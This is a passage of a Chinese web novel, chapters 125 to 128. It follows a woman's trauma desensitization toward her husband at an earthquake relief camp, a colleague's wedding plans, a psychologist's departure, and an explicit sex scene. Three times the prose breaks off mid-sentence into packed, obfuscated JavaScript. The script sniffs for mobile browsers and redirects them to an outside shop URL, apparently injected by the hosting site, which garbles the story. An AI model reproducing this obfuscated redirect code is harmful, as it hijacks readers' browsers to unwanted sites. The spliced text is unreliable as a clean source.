他滞住呼吸,死死盯着手环上的数字——只要它再往上蹦一格,只要它沾到一点红色,他就立刻…… 可那数字摇摇晃晃了几秒钟,竟慢慢回落,最终停在了一个危险的边缘,终于不动了。 怀里的人终于渐渐停下挣扎,脱力地靠在他臂弯里。 黎叙闻双眼空茫地圆睁着,却只能看见一片漆黑,泪水像开闸似地,没有阻隔、没有犹豫地奔涌而下。 这次不再是害怕了,而是无边无际的悲伤。 她不知道那是从哪来的,也不知道自己是在为谁而哭泣。她只能觉察到在心里很深的、不可触碰的地方,在往外汩汩地涌着无力和伤心。 很冷,很……愧疚。 将她护得密不透风的怀抱,终于慢慢地松开。 耳边有人呼吸战栗着,在轻吻她的耳垂。 那吻很温柔,又很难过,顺着她的耳际,到侧颊,再吻到她的眼睛,吻去她所有带着咸涩的泪水。 耳机里的声音还在继续,她终于听清,那里面的齐寻,分明在诉说对她的爱意。 她渐渐不再害怕了,感受着熟悉的气息和温度,心里渐渐明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336004|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 澈,却累得不想睁开眼睛。 黎叙闻就这样蜷在自己又恐惧、又依赖的爱人怀里,沉沉地睡去了。 竟是一夜无梦。 第二天早上,她很晚才醒。 一睁眼,她就发现自己好好躺在空荡荡的医疗帐里,睡袋像个紧实柔软的茧子,把她裹在角落,脸也被擦洗过,身体从骨头里透出一种高烧过后的酸疼,但除此之外,没有任何异样,连聒噪不止的手环都恢复了安静。 她摸了摸自己的额头,懵了。 昨天那些……难道是做梦? 她慢慢从睡袋里坐起来,还没醒过神来,林青淮就一掀帘子进来了:“醒了?” 黎叙闻懵然地望着他,还梦游似的。 “你们俩……”林青淮脸色难看得要命,一开口,却不禁苦笑出声:“我真服了你们。” “啊,”黎叙闻这才想到要跟他汇报一下:“我昨天……” 林青淮挥手打断她:“齐寻找过我了,”他盯着她的眼睛,一字一顿:“来自首的。” 黎叙闻愣了愣,哑然失笑:“你欺负他干什么。” “我欺负他?”林青淮不可思议道:“我欺负他??” 黎叙闻嘿嘿一笑,又拿出手机:“刚好你来了,我们查验查验成果?” 林青淮捏着眼角叹了声:“我都怀疑后面有狗在追你……行,别勉强,一难受就停。” 黎叙闻深呼吸一次,凝神屏气,又点开视频,闭上了眼睛。 声音响起的一刹那,她腕间的手环诈尸似地猛地跳了一下,险些翻红,但仅仅两三秒,又认命地落了回去。 变绿了。 直到齐寻的声明结束,从呼吸到心率,再到感受,她再没任何不良反应。 林青淮双目圆瞪,感觉自己的唯物世界观都塌了:“你真的听了吗?” 黎叙闻失笑,晃晃手机:“我连耳机都没插。” 林青淮的表情失控了一瞬间,又高兴,又担忧,还隐隐透着被挑战了认知的茫然:“你们……你们真的……” 黎叙闻坐在睡袋里,迫不及待拿出对讲机:“我是不是能跟他打电话了?” 林青淮盯着对讲机半晌,慢吞吞地点了点头。 她立刻接通私频,小心地叫了声:“齐寻?” 那边好像愣了很长时间,才试探着,轻轻地叩了一下。 林青淮在旁边道:“声音脱敏初步成功了。你说句话试试,我在她旁边,不用担心。” 这次对讲机立刻通了,声音却悬停了两秒,才响起来:“闻闻?” 不知是不是信号不畅,这两个字从手台里听起来,像一句哽咽。 手环对这句话毫无反应,可黎叙闻眼圈都热了。 “哎,我在呢,”她应了句,却好像忽然失去了伶俐的口齿,停了半天,才问:“你在做什么?” “在等林青淮出来,问你的情况。”齐寻那边能明显感觉到声音都不稳了:“你怎么样了,这样说话有没有不舒服?昨天做噩梦了吗?饿不饿,我给你——” “请家属注意病人的承受能力,”林青淮在一边硬邦邦打断:“一次不要说这么多话。” “姓林的你没有自己的手台吗?”齐寻烦躁道:“我申请给你配一个。” 黎叙闻笑得不行,接过话头:“我很好,完全没有不舒服,昨天什么梦都没做。那、那你……”她抬眼看了眼林青淮,怪心虚的:“一会儿干什么去?” 要是可以,她还想远远看看他的样子,试试能不能受得住。 “今天还有些交接工作,回来之后……可能要去拜访一下那个神父。”齐寻声音听起来有些犹豫:“阿咩说,她要结婚了。” 126. 第 126 章 阿咩平日里温温柔柔不声不响,竟也是个说一不二的狠人。 繁琐的交接工作间隙,齐寻问她怎么这么容易就决定了,女孩子不都有个婚纱梦吗?结果她一耸肩:“我小时候早就披床单扮过新娘子,早就过了瘾了。” 刘濛在一边嘿嘿地乐:“可是我想看你穿,回去找机会穿一次嘛。” 阿咩拿腔作势地捋了捋头发,屈尊纡贵道:“那行吧。” 齐寻一言不发,心里有点羡慕。 “你们呢?”她挎着刘濛,偏过头又问他:“闻姐喜欢什么样的?我们之前找了几家拍婚纱照的,要同步给你吗?” 齐寻低着头:“不用,她不喜欢那些。” 跟着来的大山不知因果,没搭腔,小熊可是什么都知道,立刻解围道:“嗐,这种事都讲究个千人千面,谁规定结婚一定得摆酒换戒指,是吧?” 阿咩跟刘濛对视一眼,重新起了个话头,把这茬揭过去了。 微光在营地后的学校里设了安置点,又分了补给过来,原先栖身在教堂的老人们都有了去处,只是早晚还是会去那半间教堂,跟着神父做祷告。 他们结束交接回到营地时,正赶上神父带着人回来,神父施施然迎上来:“晚上好!又见面了!” 他面色红润不少,上次在月光下嶙峋的阴影也饱满了,身上散发着平静祥和,对他们鞠了一躬:“上次一别,还没来得及感谢。” 齐寻扶住他:“应该的,正好想请你帮个忙。” 他简单说明了来意,神父显得非常高兴,盯着两个新人来回地瞧:“好,真好。这时候正需要好事情来装点生活。我来替你们证婚,上帝一定会保佑你们幸福美满。” “年轻人,需要婚姻建议吗?”有跟在他后面手牵手遛弯的老夫妻也走过来:“老人家别的没有,就这个很多。” 刘濛很有兴趣,立刻问:“什么样的建议?怎么才能像你们一样,白头到老呢?” 老头乐呵呵脱口而出:“小伙子好好锻炼身体。” 刘濛愣了一下,很快反应过来:“我身体素质挺好的,真……唔!” 惨遭阿咩捂嘴。 齐寻抱着胳膊在一边看热闹,觉得很好笑。 也就阿咩觉得害羞,这要是闻闻来,搞不好能跟这老太太聊上八百回合。 “女孩子害什么羞哇,”老太太一副见惯了风浪的样子,捏捏阿咩的脸:“不然你跟他结婚图什么?” 阿咩结结巴巴:“那、那还有呢?” “还有大概就是,”她跟老伴对视了一眼:“凡事顺其自然。” 这一点齐寻倒是不能苟同。 他跟闻闻的每一步都阻碍重重,若不是两人都有一往无前、非彼此不可的心,恐怕早就在半路走散了。 他不同意,缩在角落里的黎叙闻也不同意。 甚至她此刻就在强求。 她从大本营偷偷跟来,躲在了下风口,就是为了试试自己对齐寻的视觉感受。 这时候天色已经暗了,即便离得不远,他站在众人中间的身影也只是影影绰绰,看不太分明。 可仅仅这样一个远影,她都有点不舒服,呼吸心跳明显在失控边缘挣扎,但远没之前对声音的反应大。 黎叙闻用手帕捂住口鼻,生怕自己不太稳定的呼吸泄露了行迹,躲在旧体育馆的拐角处安静地听墙角。 他们商量了一阵婚礼的时间和细节,说定了第二天再去教堂清理一下地方,就跟神父道了别,准备回营,却又被那对老夫妇叫住了。 老太太捧着一只旧但很干净的妆奁匣,小心地打开,捧到阿咩面前:“小姑娘,挑一样吧,祝你新婚快乐,也谢谢你们来库萨救了我们。” 阿咩“啊”了声,还想推脱,却禁不住老太太盛情坚持,她只得红着脸,挑了一对样式古朴的耳环。 “很会选,”老头儿称赞她:“这是我家甜心年轻的时候最爱的,你戴着非常漂亮!” 老太太又转向齐寻:“队长,你也挑一样吧,带给你心爱的姑娘。” 齐寻忙摆手:“我就不用了……” “年轻人,”老太太忽然上前一步,低声道:“之前你跟那个男人的战斗,谁赢了?”她目光神秘而狡黠:“我希望是你。” 齐寻愣了下,忽然反应过来,当时跟林青淮摊牌时,就是在这附近。 他当时一时情急,忘记了隔墙有耳——这安置点还是他亲自指定的。 老太太到底活得久,什么事都见过了,即使听不懂中文,那天两人互不相让的肢体冲突,也能猜个八九不离十。 他微窘:“……抱歉。” 老妇人冲他挤挤眼,向妆奁匣子努了努嘴:“挑一样,挑个好运气。” 齐寻苦笑着道了声谢,向匣子里看去。 里面很多精致古朴的首饰,在大本营投来的微弱灯光下,熠熠地泛着光彩。 在这各色的珠光宝气里,埋着半把不起眼的木质梳子。 齐寻看到它的第一眼,目光就被它攫住了。 它很普通,雕花也说不上多精美,甚至是个残次品,断口处被人精心磨过,但他毕竟从小耳濡目染,一眼就看出那是从中间被人折断的。 老太太见他目光顿住,笑呵呵地将梳子取出来:“有眼光,这是我跟老头子的定情信物呢。” 齐寻小心地接过来,问:“另外半把呢?” “跟着他上战场,替他挡了一刀,碎掉啦。”老太太不理他的推却,径直把梳子塞进他手中:“愿幸运之神眷顾你,我的孩子。” 齐寻低头,用手指轻轻波动它的梳齿,经年的风雨后它仍然坚韧,发出清越的音调,一如他们历久弥新、白头偕老的爱情。 小熊一边凑上来看,一边唏嘘:“世界上真有这种啊,一辈子就爱一个人?”他伸手去摸梳齿:“我怎么那么不信呢。” 齐寻拍掉他的爪子,默了默,忽然道:“有的,我爸妈就是。” 他极少提到自己的私事,这时候随口说了句,周围人都为之一静。 “他们在一起二十年,也是这样,永远都牵着手,”他垂着眼,看着手里的半截梳子,又像是想起了父母戛然而止的流年:“……可惜了。” 他没再往下说,告别了老夫妇,又简单交代了两句,就让大家就地解散了。 而他自己在萧瑟的晚风里坐了很久,不知道在想什么。 可角落里的黎叙闻知道。 她听着风的呜咽,什么都知道。 …… “背影的话已经没有问题了,”黎叙闻跟个小学生似的,坐在医疗组门口给林青淮汇报:“正面远远地看还有点紧张,我觉得明天再一上午,基本能好了。” 林青淮无语极了:“你可真是……” 眼看他又要开始絮叨,黎叙闻当即打断他:“你说,为什么我对声音脱敏反而更难呢?” 林青淮被打断施法,话音蓦地一顿,又道:“可能……他的声音,对你有特殊的意义吧。” 黎叙闻刚想问声音能有什么意义,就见她家齐乖乖嘴里叼着个小小的盒子,一颠一颠跑到她面前,腿一软,直接扎进了她怀里。 黎叙闻大笑着接住它:“是谁呀,谁这么坏,让我们乖乖当童工?嗯?” 她弯着眉眼打开盒子,里面是被嫩草围在中间的半把梳子,还有一张字条:说是能带来好运气。 黎叙闻捧着礼物忍俊不禁,笑了一阵子,想起齐寻独自坐着的落寞的背影,又笑不出来了,抬起头,欲言又止地看林青淮。 林青淮长叹一声:“行,我走。你记着循序渐进,别冲动。” “知道了,”黎叙闻挑起唇角:“林妈妈!” 林青淮:“……” 真是上辈子欠她的。 黎叙闻笑着跟他摆摆手,低头调到跟齐寻对好的私频,按下去一本正经道:“报告白蛇,梳子已收到,很喜欢,Over。” 那边默了一下,齐寻的轻笑声传来:“一个老夫人送的,回去找人修修。” “对,你家里原来是做梳子的。”她欲盖弥彰地松了按键,等对面接话。 结果那边没声音了。 对讲机就是这点不好,感觉好像近在咫尺,可对面是什么反应,有没有在听,甚至有没有跟她同一时间想要发信过来,她完全不知道。 于是她又说:“齐寻,你还没有跟我讲过你家里的事呢。” 等了半晌,她都准备放弃了,手台才又响起来,声音模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他不知道这种笃定而磊落的“平凡”,是多少人梦寐以求的幸福。 有关他拼图的最后一块,终于在这句话被擦除之后,慢悠悠地归了位。 黎叙闻握着手台的手指,被嗡嗡的震动声挠得快木了,连带着头脑也木了,这时候才慢半拍地想起,她一直觉得齐寻执着得不可思议,就好像无论发生什么,无论她是什么身份、变成什么样子,他都要定她了。 现在想想,也许这就是他认知中的爱情? 他眼里的爱情非常简单,就是认定一个人,然后不管艰难险阻,不管对方变成什么样,咬定青山坚持下去就是了。 这种她一直觉得像神话故事的感情,竟然真的存在,竟然一直都在她身边。 电流最后的尾音,在夜色里像一缕未熄的风,慢慢散去了。 那天晚上,黎叙闻做了一个很神奇的梦。 她梦见齐寻又在给她梳头发,动作异乎寻常地轻,她想转头去看他,肩膀却被按住了。 她低头看,那只按在她肩头的手,分明是一只女人的手。 “知道梳头代表什么吗?”身后的声音非常温柔:“梳头,代表结发。” 黎叙闻张了张嘴,梦里却发不出声音。 “他有没有把家里传下来的梳子送给你?”那声音染了点嗔怪:“过门这么久了,那小子真是……” 黎叙闻定定地坐着,想说他们还不是那种关系,她还不是…… “不要怕,”那女人忽然道:“闻闻,不要怕。” “一生一世没有什么难的,”她把梳子放进黎叙闻手里:“值得一试,对吧?” 黎叙闻用尽全力,拼命扭过头,那个女人的脸却一片模糊,一点也看不清。 但她在梦里就是知道,那是齐寻的妈妈。 她低头去看,手心里放着的,是齐寻送她的那半截木梳。 凌晨六点微薄的晨曦里,黎叙闻慢慢睁开了眼睛。 梳子被她握在手里,像半把通向未来的钥匙。 127. 第 127 章 救援队撤离在即,除了两个队长忙于交接和汇报工作,医疗区也完成了最后的检查和收尾工作,正式裁撤了。 黎叙闻把最后一份整理好的伤患记录交给组长:“什么时候撤帐篷?” “一会儿人回来就撤,”组长对她笑:“你就别操心了,之前连着值了多少夜班了,撤帐篷留给别人做。” 黎叙闻微笑着低下头:“我又不能出门。” “不用觉得亏欠,”组长停了停,又道:“不过咱队里还有个医疗任务,你再给帮下忙?” “什么任务?” “去跟阿咩聊聊,林组长都拿她没办法了。” 就这么短短一天半,让林青淮都没办法的阿咩换上了婚前焦虑症。 “都说了,没必要现在结,”刘濛手忙脚乱给阿咩擦眼泪:“太仓促了。” 阿咩眼泪吧啦吧啦地掉,声音却基本没有起伏:“现在不结,回去等咱爸妈追到京屿来,就别结了。” 刘濛:“那就结?” 阿咩掉着眼泪冷静道:“我害怕。” 黎叙闻在一边来来回回看热闹,一脸吃瓜样,就差手里捏把瓜子了。 刘濛哭笑不得:“闻姐你别笑了!你倒是劝劝啊!” “怎么劝?”黎叙闻一耸肩:“我看她想得比谁都清楚,还能怎么劝?” 阿咩板着一张脸转向黎叙闻,一眨眼眼泪就不停流:“白蛇还替我出面交涉,还带人给我把教堂清出来了。” “你担心这个?”黎叙闻作势掏出手台:“好办,我跟他说,就说你后悔了,让他带着他那帮兵都闭嘴。” 阿咩脑子还没动,先一把按住她:“……不好吧?” 看着瘦瘦的姑娘,手上劲大得很,黎叙闻手腕瞬间被按在桌上,动弹不得。 黎叙闻对刘濛笑道:“看见了么,还是想结。” “你跟白蛇领证的时候……”阿咩抽抽搭搭地问:“就不害怕吗?” 黎叙闻:“……” 真是哪壶不开提哪壶。 “领证这种事,”黎叙闻一本正经道:“还不是一咬牙一跺脚,一锤子买卖么。” “那,结婚做了真夫妻,是什么感觉?”刘濛也来凑热闹:“跟恋爱的时候有啥不一样吗?” 短短两分钟之内,这是黎叙闻第二次后悔接这个活儿。 可真会问,问的尽是她答不上来的。 “那肯定不一样啊,”她信口胡诌:“婚姻嘛,就是个围城,在外面的想进去,在里面的想出来……” 她搜肠刮肚把从各处看来的词儿都凑起来:“就是用自由去交换归属感。” 给阿咩听的一愣一愣的,眼泪流得更宽了。 “当然也有好的一面!”黎叙闻赶紧找补:“你看我跟你们副队,不就……” 真说不下去了。 她跟齐寻现在这个活在两个次元里的状态,真称不上美满。 正绞尽脑汁,她忽然听见周围响起一声很熟悉、很无奈的轻笑。 “我人还在这呢,”齐寻的声音从门口飘进来:“闻闻,你要不要小心说话。” 这下吃瓜的换成刘濛和阿咩了。 听见他的声音,黎叙闻先是一愣,紧接着莫名想起了昨晚那个神奇的梦。 她心里奇异地一动,在梦里握过那半截梳子的手心骤然发烫,在理智介入之前,身体就先本能地追了出去。 而门口的脚步声反应比她快,听见她的动静,立刻抬脚远离了。 黎叙闻追出去的时候,只看到了他穿着深蓝制服的背影。 “齐寻!” 那身影蓦地顿住,却连微微回头的动作都没有,只是僵立在原地。 她三两步赶上去,对着他的背影问:“之前……我们是不是抱过了?” 那天晚上脱敏的后半段,她几乎在音频响起的那一刻就失去了意识,只是朦胧间感觉自己跌进了一个熟悉的怀抱,可醒来再想,觉得好像是真的,又好像是自己痛极了时的臆想。 齐寻默然地静立在晨光里,肩线在光线中小幅度地起伏。 “闻闻,闭眼。” 黎叙闻深吸一口气,从善如流地闭上眼。 下一秒,他身上的气息跟着卷动在光束里的灰尘气味一同猛然靠近,紧接着,她整个人又坠入了那个怀抱。 熟悉有力的心跳在她耳边轰然作响,一种本能的安全从她心底渐渐漾开,像是漂在海上时,远远看见了岸。 “果然是……”她喃喃着:“我就说——” 后半句被他的双唇堵在齿间,懵然着消散了。 这个吻一触即离,心率手环甚至都没有反应过来,两三秒后,它才跟着黎叙闻倏而回归的呼吸,滴滴地跳了一声。 这一声之后,再无痕迹。 从心理组出来的林青淮此时正好翻完手上的案例,视线一抬,不巧目睹了这个意外发生的吻。 他静静地看了一阵,无声地咽了咽,低头笑了下,转身走了。 “还有什么问题?”齐寻带着笑的声音在黎叙闻头顶响起:“连自己老公的抱抱都认不出来,还要跟人家小夫妻胡说八道?” 黎叙闻把脸埋进他怀里,闷笑:“失败的经验也是经验……” “谁失败了?”齐寻一只手捏着她后颈,另一只手环着她,又将她往怀里贴了贴:“嗯?谁是失败经验?” 黎叙闻心里一动:“我昨天梦见……” 说到一半,却又不说了。 齐寻半低着头,注视她柔亮的发顶:“梦见什么了?” 怀里的人却摇摇头:“没什么。” 黎叙闻不觉得梦见他妈妈是什么需要瞒着他的事,可就是鬼使神差地,没说出口。 是什么原因她自己也不清楚,只是本能地感觉这件事不是一个梦那么简单,它好像很重要,甚至很重大,应当留在更合适的时候告诉他。 这个念头,她一直琢磨到下午,林青淮找她做治疗访谈的时候。 林青淮又换上了他那件许久不穿的西装,坐在心理组的折叠椅里,像坐在诊疗室里一样安然。 黎叙闻填完了比她命都长的量表,才注意到他这一身,笑道:“怎么又穿成这样,今天也要去总指挥部吗?” 林青淮平静地望着她半晌,道:“叙闻,我下午就走了。” “后天整个微光都回京屿,你不跟我们一起?”她奇怪道:“这么急,有事?” 林青淮十指交握,却不抬眼看她:“嗯,准备去A国进修,得先办离职手续。” “进修要办离职手续?”黎叙闻问他:“什么进修这么——” 她忽然眉心一跳。 她盯着林青淮:“不打算回来了,是吗?” 林青淮垂目,手指按住她的量表:“嗯。” 温暖流动的空气就这样凝固了,透着隐隐的凉。 半晌,林青淮屈指敲了敲桌面:“来震区之后决定的,在你发病之前。” “嗯,”黎叙闻敷衍地抬了下唇角:“我倒不至于觉得是因为我。” 林青淮眼眶极快地眯了下,默了默,又说:“治疗还有最后一步,我已经交代给家属了,以后你……” 话说一半,又顿住,转而道:“祝你……祝你们一切都好。” 他透过自己透亮的镜片望着眼前的人,对她惘然的表情一览无余。 而他自己纠缠又晦暗的心思,却被这两片固体的海隔绝了。 黎叙闻安静看着他,许久才问:“是打算去深造?” “我打算专攻灾后应激创伤障碍。”林青淮慢慢道:“这部分不管研究还是实践,业内都太少,今后将转向团体治疗方向。顺便,”他喉头滚了滚:“接受A国心理学会对我的处理。” 林青淮折好手里的量表,声音一如既往平稳:“我违背心理咨询师的职业道德,对我的来访者移情,并且打破了咨询结束后三年内不与来访者建立其他关系的原则,所以我没有资格再做咨询师了。” 心理组的门帘虚掩着,透出午后浓烈的光。外面医疗区传来一阵号子,紧接着嘭地一声,帐篷几个支撑点同时被拉倒。 他最后半句话盖在这些声音之下,让黎叙闻愣了好久。 等反应过来,她伸手按住量表,语速极快:“我不认为你越过界,在库萨所有的一切都是事急从权,我绝对不会——” “与你无关,”林青淮没有抬头,轻轻抽走量表:“有没有越界,我比你更清楚。” 他把量表折了又折,装进西装外套胸前的口袋:“是我过不去这道坎。” 那张纸被他对折几遍,折痕又硬又委屈,张牙舞爪地贴着他的胸口,无声抗议着。 黎叙闻眉心拧成了结,面色凝肃地注视他。 门外裁撤医疗区的响动也渐渐远去了,她已经没有任何噪音可以躲藏。 可她再没立场开口了。 “别这副表情,我也不是一无所获。”林青淮微笑道:“起码找准了自己的定位,也明白了一个我原本可能一辈子都不会明白的道理。” 他深深看进她的眼睛:“正确的不一定是最好的,即便全世界都觉得错,可当事人需要的,也许恰恰就是那个人。” 黎叙闻眼角轻轻一抽。 他们已经远不是什么都要剖白、都要赤头白脸说明白的年纪,有些事情他没有说出口,她也从来没有问。 她喉头发紧,深深吞咽一次:“……是我对不起你。” “不,所有事情里,我应该道歉,齐寻应该道歉,”林青淮口吻仍然温和:“最不该道歉的人就是你。” 黎叙闻坐在他对面,既不能说话,也不能抬头看他。 她一直都深知,这辈子她跟亲朋的缘分始终遥不可及,于是每每告别一个朋友,不过是又一次印证了她给自己的总结。 可她仍会难过。 不巧的是,面前这个人,是世界上看过最多次她难过表情的人,以至于一点小小的涟漪,都逃不过他的眼睛。 “也不是生死相隔了,”他温声道:“如果实在需要帮助,你也好,齐寻也好,还是可以来找我,大家朋友一场,不必见外。” 他手指拨弄着桌上打开的钢笔,笔尖的一点反光在黎叙闻眼里来回扎。 它好像有话要说,又好像已经干了。 “好啊,”她注视那笔尖半晌,终于攒起一点笑意:“等你功成名就,成为行业大佬,我跟齐寻再去拜会……有机会的话。” “好,”林青淮也笑着点头,最后把笔尖扣回去,发出一声轻响:“一定有机会。” …… 那天下午,黎叙闻没来得及告知纪士诚,给林青淮办欢送会,他就已经跟组员们安顿好一切,安静离开了。 “昨天林老师就交代过了,”纪士诚带着医疗组长跟本地NGO交流过灾后防疫事宜,刚回来便来找黎叙闻:“哦对了,白蛇让我把这个给你。” 又是张折得小小扁扁的地图,这次画的不是那二层小楼了,而是远在淋浴坑后的那座小山后面。 “他说让你天黑前再出门,务必按他给的路线走,顺便带卷绷带去。” 黎叙闻听得莫名其妙:“干嘛使?” 纪士诚也一脸疑惑:“说是……给你治病。” 好容易熬到晚上,黎叙闻跟组长告了假,借了卷绷带,出发了。 一路上她几乎是比着地图在走,才知道齐寻为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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环着她的手臂将她圈得更紧,她脊背紧贴着坚硬胸膛,像一个溺水者终于上岸,背靠着坚实的土地。 柔软的、小心的舌尖在她口腔中细细地逡巡,舔舐,不停卷去她渐渐急促的气息。 而她失守的,绝不只是唇舌而已。 探入下摆的滚烫手掌在腰窝处不断收紧,手心的伤疤蹭过柔腻、不曾示人的肌肤,不断激起电流般的涟漪,互相干涉、碰撞,制造出另一个蓬勃的心脏,在她身体里缓慢而刺激地游动,从后腰,到小腹,到胸口,再到…… 她像一片被水温柔承托的浮萍。 或许因为被剥夺了视觉,一滴水珠落进她的感官里,都被无限激荡、放大,而那些炽热细密的,潮湿滚烫的,疾风骤雨似地来袭,落在她身上,却小心翼翼,轻而又轻。 她身体变本加厉地颤抖、发痒,像被雨后的苔藓缓慢地寄生。 它们在她体内见缝插针地生长,雨水从它们根部溢出,划过,最后潺潺地,汇集在凹陷的洼地里。 在这种事情上齐寻从不温柔,他永远锋利,永远贪婪,好像迟缓和轻柔无法表达他的爱意。 但今天那一池电流始终在门口逡巡不去,不知道是在迟疑,还是在等待。 她能感受到齐寻的目光正一寸一寸扫过她的脸,那种克制下仍急促到发抖的气息,她也听过很多遍。 黎叙闻又一次吞下粗粝指尖激起的呜咽,探手去解他裤带,手指却被按住了。 “不舒服就说。” 她张了张口,想问什么,却没能问出声。 因为下一刻,她感觉自己被一把烧热的刀从中间缓缓撬开,连呼吸都被这一刀瞬间截停。 那刀每走一寸,她全身就抑制不住地战栗一次,下唇几乎被她咬出血腥气。 她本能地挣扎、想逃,却又觉得被这把刀钉在原地,腰软得根本动弹不得。 最要命的是,齐寻实在太了解她的身体了。 他熟稔地掌握着她身体每一处隐秘而鲜活的渴望,清楚什么地方急不可待,什么地方又必须慢下来等待。 黎叙闻只感觉自己的身体又空又胀,几乎到了爆炸的边缘,耳后的小蛇像生出翅膀,不断地扑扇搏动。她带着满身黏腻的汗水,忽然反握住那只翻云覆雨的手,死死抓住他的手腕。 他更用力地抱紧她,叼着她的耳垂,声音克制而哑涩:“……要停吗?” 怀里的人被整个世界包裹,好像流浪的帆终于靠岸,再大的风浪也无法靠近她分毫。 她被这种坚实而温柔的保护催生出斩破天地的勇气。 “我不想再这样了,”黎叙闻几乎带上哭腔:“我想看看你。” 齐寻在她耳边颤抖着轻叹了声,忽然翻身压住她一侧身体,另一只手轻轻一挑,她眼前瞬间光芒大盛,在她视线聚焦之前,他忽然屈起手指—— 于是苔藓顷刻失守。 于是淡青色的草地上,大雨如注。 她在控制不住夺眶而出的泪水中,终于看清了她的爱人。 有什么东西在她的哭喘里被骤然释放,她听见自己的呼吸急促到不正常,感受到心脏如同撑裂了似地狂躁乱跳,然而这一切暴虐和恐惧,全部被愈加细密的拥吻所吞噬,浇熄,最后归于一片温柔的沉寂。 风声和他的心跳把她缠绕得密不透风,她所有难以名状的愧疚、痛苦、羞耻,都在这个长久而坚定的拥抱里渐渐消逝,她害怕的一切都行至末路。 一切都在这里开始,也在这里结束。 从今往后,他们只有新生。 128. 第 128 章 黎叙闻几乎在结束后的第一秒就陷入了深深的沉眠。 再醒来,已是月朗星稀的半夜,身下荒唐的狼藉已经收拾干净,连她身上的制服都穿得一丝不苟。 单薄的帐子时不时被路过的清风微微晃动,发出簌簌的声响,她窝在齐寻怀里,觉得前所未有地安然。 她稍一动,齐寻立刻松了松手臂,低头看她:“醒了?” 她声音懒懒的黏腻:“你没睡?” “没,你怎么样了?” 黎叙闻曲肘稍稍撑起身体,借着透过帐篷的朦胧微光看他。 他背对着门口,完全将她堵在里面,宽阔脊背挡住大部分亮光,只微薄的一点,在他侧脸勾出一道银边,刻出他半面深邃眉眼,半垂的眼帘下,点着一簇跳动的目光。 好几天相闻不相见,甫一看到他这张脸,胸骨竟然轻轻被心脏撞了一下。 那感觉不是恐惧的心悸,她认得。 它跟齐寻第一次走进咖啡馆,坐在面前时她的心动,一模一样。 黎叙闻把脸埋进他颈窝,吃吃地笑。 齐寻不明所以:“怎么?”捻起她手腕,见上面的数字一路飙黄,他瞬间紧张起来:“又难受了吗?” “你别这样看我,”她闷着带笑的声音:“我要忍不住欺负你了。” 齐寻这才松了口气,侧脸贴住她发顶,也笑了:“嗯,随便欺负。” 大概最后的成功总让人难以成眠,齐寻把帐子里的防潮垫抽出来,铺在门口空地,跟闻闻坐在上面,一起看星星。 塔拉维远离工业中心,星空像湖面一样澄净璀璨。 黎叙闻抬手,在虚空中描摹过星点蜿蜒的银河,靠在齐寻身上,问:“这办法是林青淮告诉你的?” “他会告诉我这种事?”齐寻鼻息中带出笑意:“他只说事情最好不要拖回京屿,非要下猛药的话,尽量让你完全放松。” 黎叙闻:“……” 嗯,怎么不是完全放松呢,都不知天地为何物了。 林青淮要知道被他解读成这样,不知道会不会提着刀回来。 她笑了声,沾着星光的指尖落下来,划过齐寻的下颌线:“你别说,果然有用。” 停了停,她又问:“他还说什么了?” 齐寻抬头,去看不知起止的星河。 就林青淮那婆妈的性格,走之前基本上把什么都交代了。 他说能见面远不是创伤障碍的终点,他们现在做的,不过是在最深的伤口上又盖了一层软而厚的棉被。 他说超越创伤唯一的方法是去面对,而不是用爱情用日常掩盖、这样视而不见地逃避。 他预言,他们之间的这场拉扯有始无终,只要她一天没有恢复记忆,无法面对真实,他们就始终踩在那颗地雷上,什么时候爆炸,全看踩住的人什么时候松脚。 “没什么了,”齐寻说:“他说祝你顺利。” 黎叙闻握着他不知缘由收紧的指尖,扭头去看他偏过的侧脸。 不远处有溪水潺潺地流过,水色凉意浸润了青草脆嫩的香气,顺着微风蹦跳着亲吻他们的肌肤。 她在这种宁谧的凉意中,轻轻嗯了声。 塔拉维很好,黎叙闻想,经过了大地撕裂和生命消亡,它又一次慢慢找回了自己的绿意。 他们也一样。 远方或许仍有悬崖和风浪,但她已不再惧怕故人离心、前途易变。 “齐寻?”她忽然叫他的名字:“要不我们……” “嗯?” “……没,等回了京屿再说吧。” …… 回到大本营已经是半夜三点多,他们不想被任何人围观,便悄悄地摸回宿营区,可巧跟营区门口的阿咩和刘濛碰了个正着。 好在他们并无心情打趣他俩,因为自己的事就已经够焦头烂额了。 阿咩焦虑得在原地团团转,而刘濛坐在地上,困得靠着立柱直点头,偶尔脑袋掉下来惊醒,拉住她说:“宝宝你别转了……实在不行咱不结了,行吗?” 阿咩怒道:“一晚上了你就不能说点别的!” “那一晚上了你也没换个别的愁……”刘濛苦着脸,眼睛忽然一亮:“哎,闻姐,白蛇?你俩还没睡啊!” 他关心的才不是他们怎么还没睡,他满脸都写着“求求你们快来救救我”。 “啊,”黎叙闻走过去,挡在阿咩面前:“干什么,在拉磨?” 阿咩愣了愣,噗嗤笑了:“你才是驴!” 这笑跟泡沫似地顷刻就散了,她嘴一扁:“闻姐……” 黎叙闻竖起手掌:“停,你要还在纠结要不要结婚,我就回去睡了。” 阿咩还没说什么,刘濛一下子跳起来:“别!别别别!” 